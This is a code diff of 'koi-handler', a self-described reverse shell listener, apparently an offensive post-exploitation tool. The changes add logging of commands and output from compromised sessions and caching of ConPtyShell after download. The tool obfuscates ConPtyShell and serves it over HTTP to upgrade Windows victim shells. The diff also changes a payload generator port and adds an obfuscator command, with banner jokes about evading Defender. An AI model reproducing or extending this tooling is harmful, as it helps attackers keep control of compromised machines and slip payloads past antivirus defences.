93
99
  stop_event.set()
94
100
  return
95
101
  buf += data
102
+ if logger:
103
+ logger.log_output(data)
96
104
  text = buf.decode(enc, errors="replace")
97
105
  sys.stdout.write(text)
98
106
  sys.stdout.flush()
@@ -150,6 +158,8 @@ def _interact_windows(sess: Session) -> str:
150
158
  break
151
159
 
152
160
  line = (cmd + "\r\n").encode(enc, errors="replace")
161
+ if logger:
162
+ logger.log_input(line)
153
163
  if not sess.send(line):
154
164
  result[0] = "disconnected"
155
165
  break
@@ -0,0 +1,206 @@
1
+ from __future__ import annotations
2
+
3
+ import base64
4
+ import json
5
+ import re
6
+ import sys
7
+ import time
8
+ from datetime import datetime
9
+ from pathlib import Path
10
+ from typing import TYPE_CHECKING
11
+
12
+ if TYPE_CHECKING:
13
+ from koi.session import Session
14
+
15
+ _LOG_DIR = Path.home() / ".koi" / "logs"
16
+
17
+ _ANSI = re.compile(r"\x1b(?:\][^\x07]*\x07|\[[0-?]*[ -/]*[@-~]|[@-Z\\-_])")
18
+
19
+
20
+ def log_dir() -> Path:
21
+ _LOG_DIR.mkdir(parents=True, exist_ok=True)
22
+ return _LOG_DIR
23
+
24
+
25
+ class SessionLogger:
26
+ def __init__(self, path: Path):
27
+ self.path = path
28
+ self._f = open(path, "a", buffering=1)
29
+
30
+ def _write(self, entry: dict) -> None:
31
+ self._f.write(json.dumps(entry, ensure_ascii=False) + "\n")
32
+
33
+ def log_meta(self, sess: "Session") -> None:
34
+ self._write({
35
+ "ts": time.time(),
36
+ "type": "meta",
37
+ "id": sess.id,
38
+ "ip": sess.addr[0],
39
+ "port": sess.addr[1],
40
+ "os": sess.os_type,
41
+ "upgraded": sess.upgraded,
42
+ })
43
+
44
+ def log_input(self, data: bytes) -> None:
45
+ if data:
46
+ self._write({
47
+ "ts": time.time(),
48
+ "type": "input",
49
+ "data": base64.b64encode(data).decode(),
50
+ })
51
+
52
+ def log_output(self, data: bytes) -> None:
53
+ if data:
54
+ self._write({
55
+ "ts": time.time(),
56
+ "type": "output",
57
+ "data": base64.b64encode(data).decode(),
58
+ })
59
+
60
+ def log_event(self, msg: str) -> None:
61
+ self._write({"ts": time.time(), "type": "event", "msg": msg})
62
+
63
+ def close(self) -> None:
64
+ try:
65
+ self._f.close()
66
+ except OSError:
67
+ pass
68
+
69
+
70
+ def start_logger(sess: "Session") -> SessionLogger:
71
+ d = log_dir()
72
+ stamp = datetime.now().strftime("%Y%m%d-%H%M%S")
73
+ name = f"{stamp}-{sess.id}-{sess.addr[0]}.log"
74
+ logger = SessionLogger(d / name)
75
+ logger.log_meta(sess)
76
+ return logger
77
+
78
+
79
+ _RST = "\033[0m"
80
+ _DIM = "\033[2m"
81
+ _BOLD = "\033[1m"
82
+ _ORANGE = "\033[38;2;248;101;70m"
83
+ _WHITE = "\033[38;2;255;255;255m"
84
+ _GREY = "\033[38;2;169;169;169m"
85
+ _CORAL = "\033[38;2;235;111;92m"
86
+
87
+
88
+ def _clean(raw: bytes, encoding: str) -> str:
89
+ text = raw.decode(encoding, errors="replace")
90
+ text = _ANSI.sub("", text)
91
+ text = text.replace("\r\n", "\n").replace("\r", "\n")
92
+ return text
93
+
94
+
95
+ def _printable(text: str) -> bool:
96
+ return any(c.isprintable() and c != " " for c in text)
97
+
98
+
99
+ def list_logs() -> list[Path]:
100
+ d = log_dir()
101
+ return sorted(d.glob("*.log"), reverse=True)
102
+
103
+
104
+ def resolve_log(name: str) -> Path | None:
105
+ p = Path(name)
106
+ if p.exists():
107
+ return p
108
+ matches = sorted(log_dir().glob(f"*{p.name}*"), reverse=True)
109
+ return matches[0] if matches else None
110
+
111
+ def clear_log(path: Path) -> None:
112
+ try:
113
+ path.unlink()
114
+ print(f"{_CORAL}Log cleared: {path.name}{_RST}")
115
+ except OSError as exc:
116
+ print(f"{_CORAL}Failed to clear log {path.name}: {exc}{_RST}", file=sys.stderr)
117
+
118
+
119
+ _PROMPT_SUFFIXES = ("$", "#", "❯", ">", "% ")
120
+ _CTRL = re.compile(r"[\x00-\x08\x0b-\x0c\x0e-\x1f\x7f]")
121
+
122
+
123
+ def _is_prompt(line: str) -> bool:
124
+ s = line.strip()
125
+ return any(s.endswith(sfx) for sfx in _PROMPT_SUFFIXES)
126
+
127
+
128
+ def review(name: str) -> None:
129
+ path = resolve_log(name)
130
+ if path is None:
131
+ print(f"Log not found: {name}", file=sys.stderr)
132
+ sys.exit(1)
133
+
134
+ encoding = "utf-8"
135
+ input_buf = b""
136
+ recent_cmds: set[str] = set()
137
+
138
+ print()
139
+ with open(path) as f:
140
+ for raw_line in f:
141
+ raw_line = raw_line.strip()
142
+ if not raw_line:
143
+ continue
144
+ try:
145
+ entry = json.loads(raw_line)
146
+ except json.JSONDecodeError:
147
+ continue
148
+
149
+ ts = datetime.fromtimestamp(entry["ts"]).strftime("%H:%M:%S")
150
+ kind = entry.get("type")
151
+
152
+ if kind == "meta":
153
+ encoding = "utf-8" if entry.get("os") == "linux" else "cp1252"
154
+ os_label = entry.get("os") or "?"
155
+ print(f"{_ORANGE}{'─' * 64}{_RST}")
156
+ print(
157
+ f" {_BOLD}{_WHITE}Session #{entry['id']}{_RST}"
158
+ f" {_ORANGE}{entry['ip']}:{entry['port']}{_RST}"
159
+ f" {_GREY}[{os_label}]{_RST}"
160
+ )
161
+ print(f"{_ORANGE}{'─' * 64}{_RST}\n")
162
+
163
+ elif kind == "input":
164
+ input_buf += base64.b64decode(entry["data"])
165
+ while b"\n" in input_buf or b"\r" in input_buf:
166
+ for sep in (b"\r\n", b"\n", b"\r"):
167
+ if sep in input_buf:
168
+ cmd_bytes, input_buf = input_buf.split(sep, 1)
169
+ break
170
+ cmd = _CTRL.sub("", _clean(cmd_bytes, encoding)).strip()
171
+ if cmd and _printable(cmd):
172
+ print(f" {_DIM}{ts}{_RST} {_ORANGE}❯{_RST} {_WHITE}{cmd}{_RST}")
173
+ recent_cmds.add(cmd.lower())
174
+
175
+ elif kind == "output":
176
+ text = _clean(base64.b64decode(entry["data"]), encoding)
177
+ for line in text.splitlines():
178
+ stripped = _CTRL.sub("", line).strip()
179
+ if not stripped or not _printable(stripped):
180
+ continue
181
+ if stripped.lower() in recent_cmds:
182
+ continue
183
+ if _is_prompt(stripped):
184
+ continue
185
+ print(f" {_DIM}{ts}{_RST} {_GREY}{stripped}{_RST}")
186
+ recent_cmds.clear()
187
+
188
+ elif kind == "event":
189
+ input_buf = b""
190
+ recent_cmds.clear()
191
+ print(f"\n {_DIM}── {entry['msg']} ──{_RST}\n")
192
+
193
+ print()
194
+
195
+
196
+ def print_log_list() -> None:
197
+ logs = list_logs()
198
+ if not logs:
199
+ print(f" {_GREY}No logs found in {log_dir()}{_RST}")
200
+ return
201
+ print()
202
+ for p in logs:
203
+ size = p.stat().st_size
204
+ size_str = f"{size // 1024}K" if size >= 1024 else f"{size}B"
205
+ print(f" {_ORANGE}{p.name}{_RST} {_GREY}{size_str}{_RST}")
206
+ print()
@@ -68,7 +68,7 @@ $client.Close()
68
68
 
69
69
  class PayloadGenerator:
70
70
 
71
- def __init__(self, port: int = 4444):
71
+ def __init__(self, port: int = 4010):
72
72
  self.port = port
73
73
 
74
74
  def get_interfaces(self) -> dict[str, str]:
@@ -7,6 +7,7 @@ import urllib.request
7
7
  from typing import Callable, Dict, Optional
8
8
 
9
9
  from koi.session import Session
10
+ from koi.utils.cache import load_conptyshell, save_conptyshell, cache_exists, conpty_cache_path
10
11
  from koi.utils.ps_obfuscate import obfuscate_conptyshell
11
12
  from koi.utils.tcp import spawn_http_server
12
13
  from koi.utils.ui import Spinner, notify, _b, _p
@@ -17,6 +18,31 @@ _CONPTYSHELL_URL = (
17
18
  )
18
19
 
19
20
 
21
+ def _fetch_conptyshell() -> tuple[bytes, str]:
22
+ """
23
+ Fetch ConPtyShell, with a local cache as fallback.
24
+
25
+ Strategy:
26
+ 1. Try to download the latest version from GitHub.
27
+ On success → update the cache and return the fresh bytes.
28
+ 2. If the network request fails and a cached copy exists → use it.
29
+ 3. If neither works → raise the original network exception.
30
+
31
+ Returns:
32
+ (ps1_data, source_label) where source_label is "remote" or "cache".
33
+ """
34
+ try:
35
+ with urllib.request.urlopen(_CONPTYSHELL_URL, timeout=15) as resp:
36
+ ps1_data = resp.read()
37
+ save_conptyshell(ps1_data) # keep the cache fresh
38
+ return ps1_data, "remote"
39
+ except Exception as exc:
40
+ cached = load_conptyshell()
41
+ if cached is not None:
42
+ return cached, "cache"
43
+ raise exc # no cache either — bubble up
44
+
45
+
20
46
  def upgrade_windows_conptyshell(
21
47
  sess: Session,
22
48
  sessions: Dict[int, Session],
@@ -37,12 +63,16 @@ def upgrade_windows_conptyshell(
37
63
 
38
64
  with Spinner("Fetching ConPtyShell…"):
39
65
  try:
40
- with urllib.request.urlopen(_CONPTYSHELL_URL, timeout=15) as resp:
41
- ps1_data = resp.read()
66
+ ps1_data, source = _fetch_conptyshell()
42
67
  except Exception as exc:
43
68
  notify('error', f"Failed to fetch ConPtyShell: {exc}")
44
69
  return
45
70
 
71
+ if source == "cache":
72
+ notify('warning', f"Network unavailable — using cached ConPtyShell ({conpty_cache_path()})")
73
+ else:
74
+ notify('info', "ConPtyShell fetched from remote (cache updated)")
75
+
46
76
  ps1_data, conpty_fn = obfuscate_conptyshell(ps1_data)
47
77
  http_port, http_thread = spawn_http_server(ps1_data, timeout=60.0)
48
78
  notify('info', f"Serving ConPtyShell on port {_b(http_port)}")
@@ -98,4 +128,4 @@ def _wait_for_new_session(
98
128
  with conpty_lock:
99
129
  if expected_ip in conpty_staging:
100
130
  return conpty_staging.pop(expected_ip)
101
- return None
131
+ return None
@@ -26,6 +26,8 @@ _PS_CMDLETS = [
26
26
  "Out-String",
27
27
  "Get-Content",
28
28
  "Write-Host",
29
+ "Get-Item",
30
+ "Test-Path",
29
31
  "iex",
30
32
  "pwd",
31
33
  ]
@@ -3,6 +3,7 @@ import shutil
3
3
  import sys
4
4
  import threading
5
5
  import time
6
+ import importlib.metadata
6
7
  from random import choice
7
8
 
8
9
  _ANSI = re.compile(r"\033\[[^m]*m")
@@ -17,6 +18,8 @@ RST = "\033[0m"
17
18
  DIM = "\033[2m"
18
19
  BOLD = "\033[1m"
19
20
 
21
+ __version__ = importlib.metadata.version("koi-handler")
22
+
20
23
  def _b(t): return f"{BOLD}{t}{RST}"
21
24
  def _d(t): return f"{DIM}{t}{RST}"
22
25
  def _r(t): return colored_text(t, CORAL)
@@ -33,7 +36,11 @@ MOTD = ["The serene shell handler",
33
36
  "流れに逆らう鯉のように",
34
37
  "¯\(º_o)/¯",
35
38
  "Do not download and run random modules...",
36
- "AD is not that scary, I promise!"
39
+ "AD is not that scary, I promise!",
40
+ "Defender doesn't have sunglasses because he's cool...",
41
+ "don't forget to star the repo <3",
42
+ "Use koireview to see your shells history",
43
+ "You can use \"koifuscator\" to directly use the obfuscator"
37
44
  ]
38
45
 
39
46
  def whole_line(char=" "):
@@ -84,10 +91,10 @@ def display_art(small: bool = False):
84
91
  ⠈⢮{color_signal(CORAL)}⣺⢸⢸⢸⢸⢸⢐{color_signal(WHITE)}⢕⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(UMBER)}⡂⠌⡐⢌⠢⠡⡑⡑⡑{color_signal(WHITE)}⢕⢕⢕⠵⢽⢽⡺⣵⣣⡳⡱⡱⠡⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀ 888`88b. {color_signal(WHITE)} 888 888 888 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
85
92
  ⠀⢵⢯{color_signal(CORAL)}⡺⡸⡸⡸⡸⡸⡐{color_signal(WHITE)}⡐⡐⡐⢄⠀⠀⠀⠀⠀{color_signal(UMBER)}⢑⢈⠢⠡⡑⡐⡐{color_signal(WHITE)}⢌⢂⠢⡑⡑⢕⠳⡱⡱⣱⢹⢜⠌⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀ 888 `88b. {color_signal(WHITE)} {color_signal(SILVER)}`88b {color_signal(WHITE)} d88' 888 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
86
93
  ⠀⢯⣻⡪⡪⠪⡪⡪⡪⡪⡂⡪⡨⢢⠂⠀⠀⠀⠀⠀⠀⠅⡑⡐⡐⢌⢆⠢⡑⡐⢌⠢⡑⠌⢎⢎⢇⢗⢵⡱⡠⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀⠀o888o o888o {color_signal(WHITE)} {color_signal(SILVER)}`Y8bo{color_signal(WHITE)}od8P' o888o ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
87
- ⠀⢹⡾⣝⠆⠅⡂⠌⢎⢎⢎⢪⢈⠪⠀⠀⠀⠀⠀⠀⠀⠀⠐⠐⠈⠆⢇⢕⠐⢌⠢⠑⠌⢌⢆⢂⠊⡎⡎⡮⣺{color_signal(PUMPKIN)}⣦⢀⠀⠀⠀{color_signal(WHITE)}⠀⠀⠀
94
+ ⠀⢹⡾⣝⠆⠅⡂⠌⢎⢎⢎⢪⢈⠪⠀⠀⠀⠀⠀⠀⠀⠀⠐⠐⠈⠆⢇⢕⠐⢌⠢⠑⠌⢌⢆⢂⠊⡎⡎⡮⣺{color_signal(PUMPKIN)}⣦⢀⠀⠀⠀{color_signal(WHITE)}
88
95
  ⠀{color_signal(UMBER)}⠂⢿⡸⣣{color_signal(WHITE)}⡁⡢⠡⠡⡑⠌⢌⢪⢪⠠⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠠⠑⠕⢄⢅⢅⢑⢐⠐⠄⢕⢜⢜{color_signal(PUMPKIN)}⢼⢿⣾⣳⣔⢀⠀⠀⠀{color_signal(WHITE)}⠀⠀{choice(MOTD)}
89
96
  ⠀{color_signal(UMBER)}⠈⠸⡽⣿⣽⣮{color_signal(WHITE)}⡪⡢⡨⡨⡢⡣⡣⠣⠣⡪⡐⠄⢄⠀⠀⠀⠀⠀⠀⠀⠀⠁⠂⡑⡑⡐⠄⠅⢅⢑⠱⡱⡣{color_signal(PUMPKIN)}⡫⣺⢻⡚⣆⠀⠀⠀⠀⠀⠀⠀{color_signal(WHITE)}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
90
- ⠀⠀⠀{color_signal(UMBER)}⠹⡽⣾⣷⡻{color_signal(WHITE)}⡸⡸⡸⡸⡨⠨⡈⡂⡂⠪⡘⢜⢜⢔⢐⠐⠌⠌⠀⠀⠀⠀⢂⠢⠨⠨⡈⡂⠢⡑⢜⢯⣎⢎{color_signal(PUMPKIN)}⢎⢎⢎⢎⠄⠀⠀⠀{color_signal(WHITE)}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
97
+ ⠀⠀⠀{color_signal(UMBER)}⠹⡽⣾⣷⡻{color_signal(WHITE)}⡸⡸⡸⡸⡨⠨⡈⡂⡂⠪⡘⢜⢜⢔⢐⠐⠌⠌⠀⠀⠀⠀⢂⠢⠨⠨⡈⡂⠢⡑⢜⢯⣎⢎{color_signal(PUMPKIN)}⢎⢎⢎⢎⠄⠀⠀⠀{color_signal(WHITE)}⠀ V.{__version__}
91
98
  ⠀⠀⠀⠀{color_signal(UMBER)}⠘⢽⢞⢮{color_signal(WHITE)}⢪⢪⢪⠪⡈⡂{color_signal(UMBER)}⡂⠢⡈⠢⠨{color_signal(WHITE)}⡘⢜⢜⠬⡨⡨⡐⡀⠀⠀⠀⠠⠡⠡⢁⠂⠌⠢⡈⡂⠣⡫⣷⠱⡱⡱⡱⡱⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
92
99
  ⠀⠀⠀⠀⠀⠀⠣⡣⡣⡣⡣⡣⡂⡢{color_signal(UMBER)}⡈⠢⠨⡈⠢⡈⠢{color_signal(WHITE)}⡑⢕⢕⢜⢜⢌⢆⢄⠀⠀⠡⢁⠂⠌⠌⠀⠂⢌⠢⡑⢝⢵⢨⠪⡪⡪⡪⡀ ⠀ By @b3rt1ng
93
100
  ⠀⠀⠀⠀⠀⠀⠀⠀⠑⠕⡕⡕⣕⢕⢜⢌⢆⢎⢆⢪⢢⢪⢢⢣⢣⢣⢣⠣⠣⠡⡡⠀⠂⠌⠈⠀⠀⠀⠠⠑⠌⢌⢪⢣⢣⠡⢣⢣⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(SILVER)}⠀⠀⠀⠀⠀⢀⢐⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(WHITE)}
@@ -108,9 +115,9 @@ def display_art(small: bool = False):
108
115
  ⠀⠀{color_signal(SILVER)}⢠{color_signal(WHITE)}⢶{color_signal(PUMPKIN)}⣿⠿{color_signal(SILVER)}⠃⠀⣀⡁⠀{color_signal(PUMPKIN)}⣿{color_signal(CORAL)}⣿{color_signal(WHITE)}⣼{color_signal(CORAL)}⣿{color_signal(WHITE)}⣿⣏{color_signal(SILVER)}⡑⡄⠀{RST}{color_signal(UMBER)}██{RST} ██ ██████ {color_signal(PUMPKIN)}██
109
116
  ⠀{color_signal(SILVER)}⢰⣁⡐⠰⠆⣰{color_signal(WHITE)}⣶{color_signal(PUMPKIN)}⣿{color_signal(WHITE)}⣿⡿{color_signal(SILVER)}⠛{color_signal(WHITE)}⠻{color_signal(SILVER)}⡋⠀⠉⠉⠁⠀⠀{RST}
110
117
  ⠀⠀{color_signal(SILVER)}⠈{color_signal(WHITE)}⠏{color_signal(SILVER)}⠏⠉⠉⠉⠈⠛⠤⣀⣠{color_signal(WHITE)}⡽⠀⠀⠀⠀⠀⠀{RST}
111
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀By @b3rt1ng⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀{RST}
118
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀By @b3rt1ng / Version {__version__}{RST}
112
119
  """
113
- if terminal_width < 139 or small:
120
+ if terminal_width < 110 or small:
114
121
  print(small_art)
115
122
  else:
116
123
  print(art)
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.7.8
3
+ Version: 0.8.3
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -17,9 +17,11 @@ src/koi/modules/sysinfo.py
17
17
  src/koi/modules/upload.py
18
18
  src/koi/utils/__init__.py
19
19
  src/koi/utils/bash_obfuscate.py
20
+ src/koi/utils/cache.py
20
21
  src/koi/utils/cli.py
21
22
  src/koi/utils/detect.py
22
23
  src/koi/utils/interact.py
24
+ src/koi/utils/logger.py
23
25
  src/koi/utils/models.py
24
26
  src/koi/utils/obfuscate_ui.py
25
27
  src/koi/utils/payloads.py
@@ -0,0 +1,4 @@
1
+ [console_scripts]
2
+ koi = koi.main:main
3
+ koifuscator = koi.main:obfuscator
4
+ koireview = koi.main:koireview
@@ -1,58 +0,0 @@
1
- #!/usr/bin/env python3
2
-
3
- from __future__ import annotations
4
-
5
- import argparse
6
- import signal
7
- import sys
8
-
9
- from koi.listener import Listener
10
- from koi.utils.ui import notify, _b, _p, _c, _gr, _y, _bl, display_art, print_payloads, print_report_box
11
-
12
-
13
-
14
- class _ArtHelpAction(argparse.Action):
15
- def __init__(self, option_strings, dest=argparse.SUPPRESS, default=argparse.SUPPRESS, help=None):
16
- super().__init__(option_strings=option_strings, dest=dest, default=default, nargs=0, help=help)
17
-
18
- def __call__(self, parser, namespace, values, option_string=None):
19
- display_art(small=True)
20
- parser.print_help()
21
- parser.exit()
22
-
23
-
24
- def main():
25
- parser = argparse.ArgumentParser(
26
- description="koi – multi-session reverse shell listener",
27
- add_help=False,
28
- )
29
- parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
30
- parser.add_argument("--host", default="0.0.0.0", help="Bind address (default: 0.0.0.0)")
31
- parser.add_argument("--port", "-p", type=int, default=4444, help="Listen port (default: 4444)")
32
- parser.add_argument("--payloads", nargs="?", const="__all__", metavar="IFACE",
33
- help="Print payloads for all interfaces (or a specific one) and exit")
34
- args = parser.parse_args()
35
-
36
- if args.payloads is not None:
37
- print_payloads(None if args.payloads == "__all__" else args.payloads, args.port)
38
- sys.exit(0)
39
-
40
- listener = Listener(host=args.host, port=args.port)
41
-
42
- signal.signal(
43
- signal.SIGINT,
44
- lambda *_: (print(), notify('warning', f"Use {_b('exit')} to quit cleanly."))
45
- )
46
-
47
- try:
48
- listener.start()
49
- except PermissionError:
50
- notify('error', f"Permission denied on port {args.port}.")
51
- sys.exit(1)
52
- except OSError as e:
53
- notify('error', f"Cannot start listener: {e}")
54
- sys.exit(1)
55
-
56
-
57
- if __name__ == "__main__":
58
- main()
@@ -1,2 +0,0 @@
1
- [console_scripts]
2
- koi = koi.main:main
File without changes
File without changes